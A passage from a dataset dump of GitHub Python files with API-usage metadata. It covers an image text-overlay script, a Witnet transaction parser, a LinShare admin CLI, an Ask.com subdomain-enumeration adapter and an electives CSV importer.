"line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}]}
{"seq_id": "32406501742", "text": "from PIL import Image, ImageFont, ImageDraw  \r\nimport os\r\n\r\nfrom helpers import color_print\r\nfrom settings import ImageConf, Paths\r\n\r\n\r\ndef get_font_size(image_width):\r\n    # Calculate font size of text\r\n    target_width = image_width * ImageConf.text_width_fraction\r\n    font_size = 1  # starting font size\r\n\r\n    # Increment font size before it fits target width fraction of image\r\n    font = ImageFont.truetype(Paths.FONT_PATH, font_size)\r\n    \r\n    while font.getsize(ImageConf.text)[0] < target_width:\r\n        font_size += 1 # Increment font size for next iteration\r\n        font = ImageFont.truetype(Paths.FONT_PATH, font_size)\r\n\r\n    # De-increment to get target width\r\n    return font_size - 1\r\n\r\n\r\ndef write_text(img):\r\n    iW, iH = img.size\r\n    draw = ImageDraw.Draw(img)\r\n\r\n    # Calculate and set font size\r\n    font_size = get_font_size(iW)\r\n    font = ImageFont.truetype(Paths.FONT_PATH, font_size)\r\n\r\n    # Calculate text position over image\r\n    tW, tH = draw.textsize(ImageConf.text, font=font)\r\n    posX, posY = ImageConf.text_pos\r\n\r\n    pos = (\r\n        int((iW-tW) / 100 * posX), int((iH-tH) / 100 * posY)\r\n        )\r\n\r\n    # Draw text\r\n    draw.text(\r\n        pos,\r\n        ImageConf.text,\r\n        font=font,\r\n        fill=ImageConf.text_color,\r\n        stroke_fill=ImageConf.text_stroke_fill,\r\n        stroke_width=ImageConf.text_stroke_weight\r\n    )  \r\n\r\n\r\ndef process_images(image_filenames):\r\n    color_print('იწყება ფოტოების დამუშავება', 'blue')\r\n    if 'Processed' not in os.listdir():\r\n        os.mkdir('Processed')\r\n    \r\n    # add text on all images\r\n    for img_name in image_filenames:\r\n        image = Image.open(\r\n            os.path.join(Paths.TARGET_PATH, img_name)\r\n            )\r\n        \r\n        write_text(image)\r\n        \r\n        # save image file\r\n        image.save(\r\n            os.path.join(Paths.RESULT_PATH, img_name)\r\n            )\r\n\r\n    color_print('ფოტოების დამუშავება დასრულებულია!', 'green')\r\n\r\n\r\nif __name__ == '__main__':\r\n    process_images()\r\n", "repo_name": "rezi-gelenidze/auto-media-proccesor", "sub_path": "editor_image.py", "file_name": "editor_image.py", "file_ext": "py", "file_size_in_byte": 2113, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "settings.ImageConf.text_width_fraction", "line_number": 10, "usage_type": "attribute"}, {"api_name": "settings.ImageConf", "line_number": 10, "usage_type": "name"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 14, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 14, "usage_type": "name"}, {"api_name": "settings.Paths.FONT_PATH", "line_number": 14, "usage_type": "attribute"}, {"api_name": "settings.Paths", "line_number": 14, "usage_type": "name"}, {"api_name": "settings.ImageConf.text", "line_number": 16, "usage_type": "attribute"}, {"api_name": "settings.ImageConf", "line_number": 16, "usage_type": "name"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 18, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 18, "usage_type": "name"}, {"api_name": "settings.Paths.FONT_PATH", "line_number": 18, "usage_type": "attribute"}, {"api_name": "settings.Paths", "line_number": 18, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 26, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 26, "usage_type": "name"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 30, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 30, "usage_type": "name"}, {"api_name": "settings.Paths.FONT_PATH", "line_number": 30, "usage_type": "attribute"}, {"api_name": "settings.Paths", "line_number": 30, "usage_type": "name"}, {"api_name": "settings.ImageConf.text", "line_number": 33, "usage_type": "attribute"}, {"api_name": "settings.ImageConf", "line_number": 33, "usage_type": "name"}, {"api_name": "settings.ImageConf.text_pos", "line_number": 34, "usage_type": "attribute"}, {"api_name": "settings.ImageConf", "line_number": 34, "usage_type": "name"}, {"api_name": "settings.ImageConf.text", "line_number": 43, "usage_type": "attribute"}, {"api_name": "settings.ImageConf", "line_number": 43, "usage_type": "name"}, {"api_name": "settings.ImageConf.text_color", "line_number": 45, "usage_type": "attribute"}, {"api_name": "settings.ImageConf", "line_number": 45, "usage_type": "name"}, {"api_name": "settings.ImageConf.text_stroke_fill", "line_number": 46, "usage_type": "attribute"}, {"api_name": "settings.ImageConf", "line_number": 46, "usage_type": "name"}, {"api_name": "settings.ImageConf.text_stroke_weight", "line_number": 47, "usage_type": "attribute"}, {"api_name": "settings.ImageConf", "line_number": 47, "usage_type": "name"}, {"api_name": "helpers.color_print", "line_number": 52, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 53, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 54, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 58, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 58, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "settings.Paths.TARGET_PATH", "line_number": 59, "usage_type": "attribute"}, {"api_name": "settings.Paths", "line_number": 59, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "settings.Paths.RESULT_PATH", "line_number": 66, "usage_type": "attribute"}, {"api_name": "settings.Paths", "line_number": 66, "usage_type": "name"}, {"api_name": "helpers.color_print", "line_number": 69, "usage_type": "call"}]}
{"seq_id": "11331395559", "text": "import logging\nimport logging.handlers\nimport psycopg2\nimport time\n\nfrom blockchain.witnet_database import WitnetDatabase\n\nfrom node.witnet_node import WitnetNode\n\nfrom objects.wip import WIP\n\nfrom util.address_generator import AddressGenerator\nfrom util.protobuf_encoder import ProtobufEncoder\nfrom util.radon_translator import RadonTranslator\n\nclass Transaction(object):\n    def __init__(self, consensus_constants, logger=None, log_queue=None, database=None, database_config=None, node_config=None):\n        self.start_time = consensus_constants.checkpoint_zero_timestamp\n        self.epoch_period = consensus_constants.checkpoints_period\n        self.collateral_minimum = consensus_constants.collateral_minimum\n\n        # Connect to the database\n        if database:\n            self.witnet_database = database\n        elif database_config:\n            if logger:\n                self.witnet_database = WitnetDatabase(database_config, logger=logger)\n            else:\n                self.witnet_database = WitnetDatabase(database_config, log_queue=log_queue, log_label=\"db-transaction\")\n        else:\n            self.witnet_database = None\n\n        # Save node pool config\n        self.node_config = node_config\n\n        # Set up logger\n        if logger:\n            self.logger = logger\n        elif log_queue:\n            self.log_queue = log_queue\n            self.configure_logging_process(log_queue, \"transaction\")\n            self.logger = logging.getLogger(\"transaction\")\n        else:\n            self.logger = None\n\n        # Create address generator\n        self.address_generator = AddressGenerator(\"wit\")\n\n        # Create Protobuf encoder\n        self.protobuf_encoder = None\n        if database_config != None:\n            self.protobuf_encoder = ProtobufEncoder(WIP(database_config=database_config))\n\n        # Create Radon translator\n        self.translator = RadonTranslator()\n\n    def configure_logging_process(self, queue, label):\n        handler = logging.handlers.QueueHandler(queue)\n        root = logging.getLogger(label)\n        root.handlers = []\n        root.addHandler(handler)\n        root.setLevel(logging.DEBUG)\n\n    def set_transaction(self, txn_hash=\"\", txn_epoch=0, txn_weight=0, json_txn=None):\n        self.txn_hash = txn_hash\n\n        self.txn_details = {}\n        self.txn_details[\"txn_hash\"] = txn_hash\n        if txn_epoch > 0:\n            self.txn_details[\"epoch\"] = txn_epoch\n\n        if json_txn:\n            self.json_txn = json_txn\n            if txn_weight > 0:\n                self.txn_details[\"weight\"] = txn_weight\n        else:\n            self.json_txn = self.get_transaction_from_node(txn_hash)\n            if \"error\" in self.json_txn:\n                self.json_txn = {}\n                self.txn_details[\"weight\"] = 0\n            else:\n                if self.json_txn[\"weight\"] > 0:\n                    self.txn_details[\"weight\"] = self.json_txn[\"weight\"]\n\n        if self.protobuf_encoder:\n            self.protobuf_encoder.set_transaction(self.json_txn)\n\n    def calculate_addresses(self, signatures):\n        addresses = []\n        for signature in signatures:\n            public_key = signature[\"public_key\"]\n            address = self.address_generator.signature_to_address(public_key[\"compressed\"], public_key[\"bytes\"])\n            addresses.append(address)\n        return addresses\n\n    def get_inputs(self, addresses, txn_inputs):\n        assert self.witnet_database != None\n        assert len(addresses) == len(txn_inputs)\n\n        input_utxos, input_values = [], []\n        for address, txn_input in zip(addresses, txn_inputs):\n            # Get the transaction and output index from the output pointer\n            input_hash = txn_input[\"output_pointer\"].split(\":\")[0]\n            input_index = int(txn_input[\"output_pointer\"].split(\":\")[1])\n\n            hash_bytes = bytearray.fromhex(input_hash)\n            input_utxos.append((hash_bytes, input_index))\n\n            # Try to find the transaction input value in the database\n            outputs = None\n            sql = \"SELECT type FROM hashes WHERE hash=%s LIMIT 1\" % psycopg2.Binary(hash_bytes)\n            result = self.witnet_database.sql_return_one(sql)\n            if result:\n                sql = \"SELECT output_values FROM %s WHERE txn_hash=%s LIMIT 1\" % (result[0] + \"s\", psycopg2.Binary(hash_bytes))\n                outputs = self.witnet_database.sql_return_one(sql)\n                if outputs:\n                    input_values.append(outputs[0][input_index])\n\n            # Fall back: transaction not found in database, fetch it from the node\n            if not outputs:\n                self.logger.info(f\"Could not find input {txn_input['output_pointer']} for transaction {self.txn_hash} in database\")\n                # Get the transaction\n                input_txn = self.get_transaction_from_node(input_hash)\n                if \"error\" in input_txn:\n                    self.logger.error(f\"Could not fetch all inputs for transaction: {input_txn['error']}\")\n                    return 0, [], [], []\n\n                # Figure out the transaction type as the parsing depends on that\n                transaction_type = list(input_txn[\"transaction\"].keys())[0]\n                if transaction_type in (\"Tally\", \"Mint\"):\n                    outputs = input_txn[\"transaction\"][transaction_type][\"outputs\"]\n                    # Append the correct output to the list of input_values\n                    input_values.append(outputs[input_index][\"value\"])\n                elif list(input_txn[\"transaction\"].keys())[0] in (\"DataRequest\", \"Commit\", \"ValueTransfer\"):\n                    outputs = input_txn[\"transaction\"][transaction_type][\"body\"][\"outputs\"]\n                    # Append the correct output to the list of input_values\n                    input_values.append(outputs[input_index][\"value\"])\n                else:\n                    self.logger.error(\"Unexpected transaction type when querying ValueTransfer inputs\")\n\n        return input_utxos, input_values\n\n    def get_outputs(self, txn_outputs):\n        output_addresses, output_values, timelocks = [], [], []\n        for out in txn_outputs:\n            output_addresses.append(out[\"pkh\"])\n            output_values.append(out[\"value\"])\n            timelocks.append(out[\"time_lock\"])\n\n        return output_addresses, output_values, timelocks\n\n    def get_transaction_from_node(self, txn_hash):\n        # Create connection to the node pool\n        witnet_node = WitnetNode(self.node_config, logger=self.logger)\n\n        transaction = witnet_node.get_transaction(txn_hash)\n        while \"error\" in transaction:\n            # All our nodes in the pool were busy, retry as soon as possible\n            if transaction[\"reason\"] == \"no available nodes found\":\n                self.logger.warning(\"No available nodes found\")\n                time.sleep(1)\n                transaction = witnet_node.get_transaction(txn_hash)\n            # No synced nodes: give them some time to sync again and retry\n            elif transaction[\"reason\"] == \"no synced nodes found\":\n                self.logger.warning(\"No synced nodes found\")\n                time.sleep(60)\n                transaction = witnet_node.get_transaction(txn_hash)\n            # Another error, do not retry\n            else:\n                self.logger.error(f\"Failed to get transaction: {transaction['error']}\")\n                return transaction\n\n        return transaction[\"result\"]\n", "repo_name": "drcpu-github/witnet-explorer-backend", "sub_path": "transactions/transaction.py", "file_name": "transaction.py", "file_ext": "py", "file_size_in_byte": 7432, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "71", "api": [{"api_name": "blockchain.witnet_database.WitnetDatabase", "line_number": 27, "usage_type": "call"}, {"api_name": "blockchain.witnet_database.WitnetDatabase", "line_number": 29, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 42, "usage_type": "call"}, {"api_name": "util.address_generator.AddressGenerator", "line_number": 47, "usage_type": "call"}, {"api_name": "util.protobuf_encoder.ProtobufEncoder", "line_number": 52, "usage_type": "call"}, {"api_name": "objects.wip.WIP", "line_number": 52, "usage_type": "call"}, {"api_name": "util.radon_translator.RadonTranslator", "line_number": 55, "usage_type": "call"}, {"api_name": "logging.handlers.QueueHandler", "line_number": 58, "usage_type": "call"}, {"api_name": "logging.handlers", "line_number": 58, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 59, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 62, "usage_type": "attribute"}, {"api_name": "psycopg2.Binary", "line_number": 111, "usage_type": "call"}, {"api_name": "psycopg2.Binary", "line_number": 114, "usage_type": "call"}, {"api_name": "node.witnet_node.WitnetNode", "line_number": 154, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 161, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 166, "usage_type": "call"}]}
{"seq_id": "42049807613", "text": "import base64\nimport json\nimport datetime\nimport logging\nimport argtoolbox\nfrom requests import Request\n\nfrom argtoolbox import DefaultCompleter as Completer\nfrom linshareapi.admin import AdminCli\nfrom linshareapi.core import trace_session\nfrom linshareapi.core import trace_request\nfrom linshareapi.core import LinShareException\nfrom linsharecli.common.core import add_list_parser_options\nimport linsharecli.common.core as common\nfrom vhatable.core import TableFactory\nfrom vhatable.cell import DateCell\nfrom vhatable.cell import SizeCell\nfrom vhatable.cell import ComplexCellBuilder\n\n\nclass DefaultCommand(common.DefaultCommand):\n    \"\"\" Default command object use by the serer API. If you want to add a new\n    command to the command line interface, your class should extend this class.\n    \"\"\"\n\n    IDENTIFIER = \"name\"\n    RESOURCE_IDENTIFIER = \"uuid\"\n\n    def __get_cli_object(self, args):\n        api_version = self.config.server.api_version.value\n        self.log.debug(\"using api version : \" + str(api_version))\n        auth_type = args.auth_type\n        password = args.password\n        self.log.debug(\"auth_type: %s\", auth_type)\n        self.log.debug(\"password: %s...\", password[0:2])\n        if auth_type == \"plain-b64\":\n            if password:\n                self.log.debug(\n                        \"converting base64 encoded password to plain text.\")\n                password = base64.b64decode(password).decode('utf-8')\n            auth_type = \"plain\"\n        cli = AdminCli(args.host, args.user, password, args.verbose,\n                       args.debug, api_version=api_version,\n                       verify=getattr(args, 'verify', True),\n                       auth_type=auth_type)\n        if args.base_url:\n            cli.base_url = args.base_url\n        return cli\n\n    def _run(self, method, message_ok, err_suffix, *args):\n        try:\n            json_obj = method(*args)\n            self.log.info(message_ok, json_obj)\n            if self.debug:\n                self.pretty_json(json_obj)\n            return True\n        except LinShareException as ex:\n            self.log.debug(\"LinShareException : \" + str(ex.args))\n            self.log.error(ex.args[1] + \" : \" + err_suffix)\n        return False\n\n\nclass NotYetImplementedCommand(argtoolbox.DefaultCommand):\n    \"\"\"Just for test. Print test to stdout\"\"\"\n    # pylint: disable=too-few-public-methods\n\n    def __call__(self, args):\n        print(\"Not Yet Implemented.\")\n\n\nclass TestCommand(argtoolbox.DefaultCommand):\n    \"\"\"Just for test. Print test to stdout\"\"\"\n    # pylint: disable=too-few-public-methods\n\n    def __init__(self, config=None):\n        super(TestCommand, self).__init__(config)\n        self.verbose = False\n        self.debug = False\n\n    def __call__(self, args):\n        self.verbose = args.verbose\n        self.debug = args.debug\n        print(\"Test\")\n        print((str(self.config)))\n        print(args)\n        self.log.info(\"End of test command.\")\n\n\nclass RawCommand(DefaultCommand):\n    \"\"\"Just call raw http urls\"\"\"\n    # pylint: disable=too-few-public-methods\n\n    def __call__(self, args):\n        super(RawCommand, self).__call__(args)\n        self.verbose = args.verbose\n        self.debug = args.debug\n        if args.jq:\n            self.log.setLevel(logging.ERROR)\n        self.log.info(\"Begin of raw command.\")\n        core = self.ls.raw.core\n        trace_session(core.session)\n        method = 'GET'\n        if args.method:\n            method = args.method\n        url = core.get_full_url(args.url)\n        for i in range(1, args.repeat + 1):\n            self.log.debug(\"list url:%s: %s\", i, url)\n            if args.data:\n                request = Request(method, url, data=args.data)\n            else:\n                request = Request(method, url)\n            prepped = core.session.prepare_request(request)\n            if args.headers:\n                headers = {}\n                for item in args.headers:\n                    key, val = item.split(':')\n                    headers[key] = val.rstrip()\n                prepped.headers.update(headers)\n            starttime = datetime.datetime.now()\n            for header in prepped.headers.items():\n                self.log.debug(\"prepped.header: %s\", header)\n            request = core.session.send(prepped)\n            endtime = datetime.datetime.now()\n            trace_request(request)\n            last_req_time = str(endtime - starttime)\n            content_type = request.headers.get('Content-Type')\n            headers = [\n                'Total-Elements',\n                'Total-Pages',\n                'Current-Page',\n                'Current-Page-Size',\n                'First',\n                'Last'\n            ]\n            for header in headers:\n                value = request.headers.get(header)\n                if value:\n                    self.log.info(header + \": \" + str(value))\n            if content_type == 'application/json':\n                res = core.process_request(request, url)\n                self.log.debug(\"res: %s\", res)\n                if args.output:\n                    with open(args.output, 'w') as file_stream:\n                        json.dump(res, file_stream, sort_keys=True, indent=2,\n                                  ensure_ascii=False)\n                elif not args.silent:\n                    self.log.info(\"result: %s\",\n                                  json.dumps(res, sort_keys=True, indent=2,\n                                             ensure_ascii=False))\n                if args.jq:\n                    print(json.dumps(res, sort_keys=True, ensure_ascii=False))\n                if args.verbose:\n                    self.log.info(\"Count: %s\", len(res))\n            else:\n                if args.output:\n                    with open(args.output, 'wb') as file_stream:\n                        for line in request.iter_content(chunk_size=256):\n                            if line:\n                                file_stream.write(line)\n                else:\n                    self.log.warning(\"Can not process this query !\")\n                    self.log.warning(\n                            \"Unhandled result content type: %s\", content_type)\n                    self.log.warning(\"data: %s\", request.text)\n            self.log.info(\n                \"url:%(cpt)s:%(url)s:request time: %(time)s\",\n                {\n                    \"cpt\": i,\n                    \"url\": url,\n                    \"time\": last_req_time\n                }\n            )\n        self.log.info(\"End of raw command.\")\n        return True\n\n\nclass AutoDiscoveryCommand(DefaultCommand):\n    \"\"\"Just call raw http urls\"\"\"\n    # pylint: disable=too-few-public-methods\n\n    def __call__(self, args):\n        super().__call__(args)\n        self.verbose = args.verbose\n        self.debug = args.debug\n        endpoint = self.ls.raw.core\n        trace_session(endpoint.session)\n        url = endpoint.get_full_url(args.url)\n        request = endpoint.session.get(url)\n        trace_request(request)\n        res = endpoint.process_request(request, url)\n        self.log.debug(\"res: %s\", res)\n        tbu = TableFactory(self.ls, endpoint)\n        tbu.load_args(args)\n        if len(res) == 0:\n            print(\"No data to display\")\n            return True\n        tbu.columns = list(res[0].keys())\n        tbu.columns.sort()\n        self.log.debug(\"colums: %s\", tbu.columns)\n        if \"uuid\" in tbu.columns:\n            tbu.columns.remove(\"uuid\")\n            tbu.columns.insert(0, \"uuid\")\n        # tbu.add_filters(PartialOr(self.IDENTIFIER, args.names, True))\n        for cell in args.complex_cells:\n            tbu.add_custom_cell(\n                cell,\n                ComplexCellBuilder('{name} ({uuid:.8})', '{name} ({uuid})')\n            )\n        for cell in args.date_cells:\n            tbu.add_custom_cell(cell, DateCell)\n        for cell in args.size_cells:\n            tbu.add_custom_cell(cell, SizeCell)\n        return tbu.build().load_v2(res).render()\n\n\nclass ListConfigCommand(DefaultCommand):\n    \"\"\"TODO\"\"\"\n\n    def __init__(self, config=None):\n        super(ListConfigCommand, self).__init__(config)\n        self.verbose = False\n        self.debug = False\n\n    def __call__(self, args):\n        self.verbose = args.verbose\n        self.debug = args.debug\n        seclist = self.config.file_parser.sections()\n        print()\n        print(\"Available sections:\")\n        print(\"===================\")\n        print()\n        for i in seclist:\n            if i.startswith(\"server-\"):\n                print(\" - \" + \"-\".join(i.split('-')[1:]))\n        print(\"\")\n\n\ndef add_parser(subparsers, name, desc, config):\n    \"\"\"Add test commands.\"\"\"\n    parser = subparsers.add_parser('test', add_help=False)\n    parser.add_argument('files', nargs='*')\n    parser.set_defaults(__func__=TestCommand(config))\n\n    parser = subparsers.add_parser(\n        'raw',\n        help=(\n            \"Retrieve json data from URL. Authentication is handled liek any\"\n            \" other commands.\"\n        )\n    )\n    parser.add_argument('url')\n    parser.add_argument(\n            '-r', '--repeat', default=1,\n            help=\"default=1\", type=int)\n    parser.add_argument(\n        '-m', '--method',\n        choices=[\"GET\", \"POST\", \"DELETE\", \"HEAD\", \"OPTIONS\", \"PUT\"])\n    parser.add_argument('--data')\n    parser.add_argument('-H', '--header', action=\"append\", dest=\"headers\")\n    parser.add_argument('--output')\n    parser.add_argument(\n            '-s', '--silent', action=\"store_true\",\n            help=\"Do not display the payload\")\n    parser.add_argument(\n            '--jq', action=\"store_true\",\n            help=\"pure json only\")\n    parser.set_defaults(__func__=RawCommand(config))\n\n    parser = subparsers.add_parser(\n        'auto',\n        help=(\n            \"Try to build dynamically a pretty table from data retieved from\"\n            \" the provide url as positional argument.\"\n        )\n    )\n    parser.add_argument('url')\n    parser.add_argument(\n        '-x', '--complex-cells', action=\"append\",\n        default=[],\n        help=(\n            \"Wil try to format these cells with default complex cell\"\n            \" formatter: {name} ({uuid})\"\n        )\n    ).completer = Completer(\"complete_fields\")\n    parser.add_argument(\n        '-z', '--size-cells', action=\"append\",\n        default=[],\n        help=\"Will try to format these cells with default size cell formatter\"\n    ).completer = Completer(\"complete_fields\")\n    parser.add_argument(\n        '-a', '--date-cells', action=\"append\",\n        default=[],\n        help=\"Will try to format these cells with default size cell formatter\"\n    ).completer = Completer(\"complete_fields\")\n    add_list_parser_options(parser)\n    parser.set_defaults(__func__=AutoDiscoveryCommand(config))\n\n    parser = subparsers.add_parser('list')\n    parser.set_defaults(__func__=ListConfigCommand(config))\n", "repo_name": "fred49/linshare-cli", "sub_path": "linsharecli/admin/core.py", "file_name": "core.py", "file_ext": "py", "file_size_in_byte": 10840, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "linsharecli.common.core.DefaultCommand", "line_number": 21, "usage_type": "attribute"}, {"api_name": "linsharecli.common.core", "line_number": 21, "usage_type": "name"}, {"api_name": "base64.b64decode", "line_number": 40, "usage_type": "call"}, {"api_name": "linshareapi.admin.AdminCli", "line_number": 42, "usage_type": "call"}, {"api_name": "linshareapi.core.LinShareException", "line_number": 57, "usage_type": "name"}, {"api_name": "argtoolbox.DefaultCommand", "line_number": 63, "usage_type": "attribute"}, {"api_name": "argtoolbox.DefaultCommand", "line_number": 71, "usage_type": "attribute"}, {"api_name": "logging.ERROR", "line_number": 98, "usage_type": "attribute"}, {"api_name": "linshareapi.core.trace_session", "line_number": 101, "usage_type": "call"}, {"api_name": "requests.Request", "line_number": 109, "usage_type": "call"}, {"api_name": "requests.Request", "line_number": 111, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 119, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 119, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 123, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 123, "usage_type": "attribute"}, {"api_name": "linshareapi.core.trace_request", "line_number": 124, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 144, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 148, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 151, "usage_type": "call"}, {"api_name": "linshareapi.core.trace_session", "line_number": 186, "usage_type": "call"}, {"api_name": "linshareapi.core.trace_request", "line_number": 189, "usage_type": "call"}, {"api_name": "vhatable.core.TableFactory", "line_number": 192, "usage_type": "call"}, {"api_name": "vhatable.cell.ComplexCellBuilder", "line_number": 207, "usage_type": "call"}, {"api_name": "vhatable.cell.DateCell", "line_number": 210, "usage_type": "argument"}, {"api_name": "vhatable.cell.SizeCell", "line_number": 212, "usage_type": "argument"}, {"api_name": "argtoolbox.DefaultCompleter", "line_number": 284, "usage_type": "call"}, {"api_name": "argtoolbox.DefaultCompleter", "line_number": 289, "usage_type": "call"}, {"api_name": "argtoolbox.DefaultCompleter", "line_number": 294, "usage_type": "call"}, {"api_name": "linsharecli.common.core.add_list_parser_options", "line_number": 295, "usage_type": "call"}]}
{"seq_id": "21472534070", "text": "import requests\nimport re\nfrom bs4 import BeautifulSoup\nfrom src.interfaces.subdomain_enumerator import SubdomainEnumerator\nfrom time import sleep\n\nclass AskDorksAdapter(SubdomainEnumerator):\n    \n    def __init__(self) -> None:\n        \"\"\"This class will manage the enumeration logic using the Ask dorks\n\n        \"\"\"\n        super().__init__()\n        self.base_url = \"https://www.ask.com/web\"\n        self.headers = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\"}\n    \n    @property\n    def queries(self):\n        \"\"\"Default AskDorkAdapter queries\n\n        Returns:\n            dict: returns a dict of params that will be used to enumerate subdomains\\n\n            for a given target uri\n        \"\"\"\n        return {\"q\": self.target_uri}\n    \n    def add_dork_queries(self, query: str) -> None:\n        \"\"\"Add a new Ask dork query\n\n        Args:\n            query (str): should be a google dork\\nex: f'inurl:{target_uri}'\n\n        Returns:\n            _type_: None\n        \"\"\"\n        return super().add_dork_queries(query)\n    \n\n    def _process(self, query):\n        # Loop through Ask's search pages, 10 results at a time\n        for page in range(1, 5):\n            params = self.queries\n            params['page'] = str(page)\n            response = requests.get(url=self.base_url, headers=self.headers, params=params, proxies=None, verify=False)\n            if response.status_code == 200:\n                try:\n                    soup = BeautifulSoup(response.text, \"html.parser\")\n                    links = soup.findAll(\"a\")\n                    for link in links:\n                        subdomain = link.get(\"href\")\n                        yield subdomain\n                except:\n                    pass\n            \n            return []\n                        ", "repo_name": "deidax/dosuby", "sub_path": "src/adapter/dorks/ask_dorks_adapter.py", "file_name": "ask_dorks_adapter.py", "file_ext": "py", "file_size_in_byte": 1857, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "src.interfaces.subdomain_enumerator.SubdomainEnumerator", "line_number": 7, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 44, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 47, "usage_type": "call"}]}
{"seq_id": "36096896789", "text": "import csv\nimport functools\nfrom itertools import product\nimport re\nimport random\nimport string\n\nfrom loguru import logger\n\nfrom apps.electives.models import ElectiveThematic, Elective, ElectiveKind, CreditUnitsKind, KindOfElective\n\n\ndef generate_random_error_name():\n    return 'ErrorName___' + ''.join(random.choices(string.ascii_letters, k=6))\n\n\ndef create_short_thematic_keys():\n    thematic_keys = {\n        'А': 'Aлгебра',\n        'АД': 'Анализ данных',\n        'ДМЛ': 'Дискретная математика и логика',\n        'ГиТ': 'Геометрия и топология',\n        'МФ': 'Математическая физика',\n        'ДУДС': 'Дифференциальные уравнения и динамические системы',\n        'И': 'Информатика',\n        'МА': 'Математический анализ',\n        'П': 'Программирование',\n        'По': 'Программирование (обязательные курсы СП)',\n        'Р': 'Разное',\n        'ТВ': 'Теория вероятностей',\n        'ТИ': 'Теоретическая информатика',\n    }\n    for key, value in thematic_keys.items():\n        thematic, created = ElectiveThematic.objects.get_or_create(\n            name=value,\n        )\n        thematic.short_name = key\n        if created:\n            thematic.english_name = generate_random_error_name()\n        thematic.save()\n\n\ndef parse_credit_types(type_row: str):\n    type_row = type_row.replace(' ', '')\n    kind_codes = type_row.split(',')\n    return kind_codes\n\n\ndef parse_semesters(text_semesters: str):\n    text_semesters = text_semesters.replace(' ', '')\n\n    pattern1 = r'\\w+(\\d+)-(\\d+)'\n    pattern2 = r'\\w(\\d+),(\\d+)'\n    pattern3 = r'\\w+(\\d+)'\n\n    has_odd_semester = False\n    has_even_semester = False\n\n    for text in text_semesters.split(','):\n        match1 = re.findall(pattern1, text)\n        match2 = re.findall(pattern2, text)\n        match3 = re.findall(pattern3, text)\n\n        if match1:\n            has_odd_semester = True\n            has_even_semester = True\n        if match2:\n            for match_ in match2:\n                if any(int(sem) % 2 == 1 for sem in match_):\n                    has_odd_semester = True\n                if any(int(sem) % 2 == 2 for sem in match_):\n                    has_even_semester = True\n        if match3:\n            for match_ in match3:\n                has_odd_semester |= int(match_) % 2 == 1\n                has_even_semester |= int(match_) % 2 == 0\n    semesters = []\n    if has_odd_semester:\n        semesters.append(1)\n    if has_even_semester:\n        semesters.append(2)\n    return semesters\n\n\ndef parse_row(row):\n    codename = row['Иденти- фикатор']\n    name = row['Название']\n    english_name = row['Title']\n    kinds = parse_credit_types(row['Тип курса'])\n    text_teachers = row['Предлагает в 2022/23']\n    authors = row['Автор программы']\n    if text_teachers == '':\n        text_teachers = authors\n    semesters = parse_semesters(row['Для кого в 21/22 и семестры'])\n\n    thematic_name = row['Раздел'].replace(' ', '').split(',')[0]\n\n    languages = [\n        lang for lang in row['Язык'].replace(' ', '').split(',')\n        if len(lang) > 0\n    ]\n    description = row['Аннотация']\n    english_description = row['Abstract']\n\n    if len(languages) == 0 or len(semesters) == 0 or len(kinds) == 0 or len(codename) == 0:\n        message = f'Incorrect row:\\n {row}'\n        # logger.error(message)\n        return None, message\n\n    if len(row['предлагаем? (если \"да\", то пустое место)']) != 0:\n        message = f'This course is not presenting {row}'\n        # logger.warning(message)\n        return None, ''\n\n\n    thematic, created = ElectiveThematic.objects.get_or_create(\n        short_name=thematic_name,\n    )\n    if created:\n        thematic.name = generate_random_error_name()\n        thematic.english_name = generate_random_error_name()\n    thematic.save()\n\n    elective, _ = Elective.objects.get_or_create(\n        codename=codename,\n    )\n    elective.thematic = thematic\n    elective.name = name\n    elective.english_name = english_name\n    elective.text_teachers = text_teachers\n    elective.description = description\n    elective.english_description = 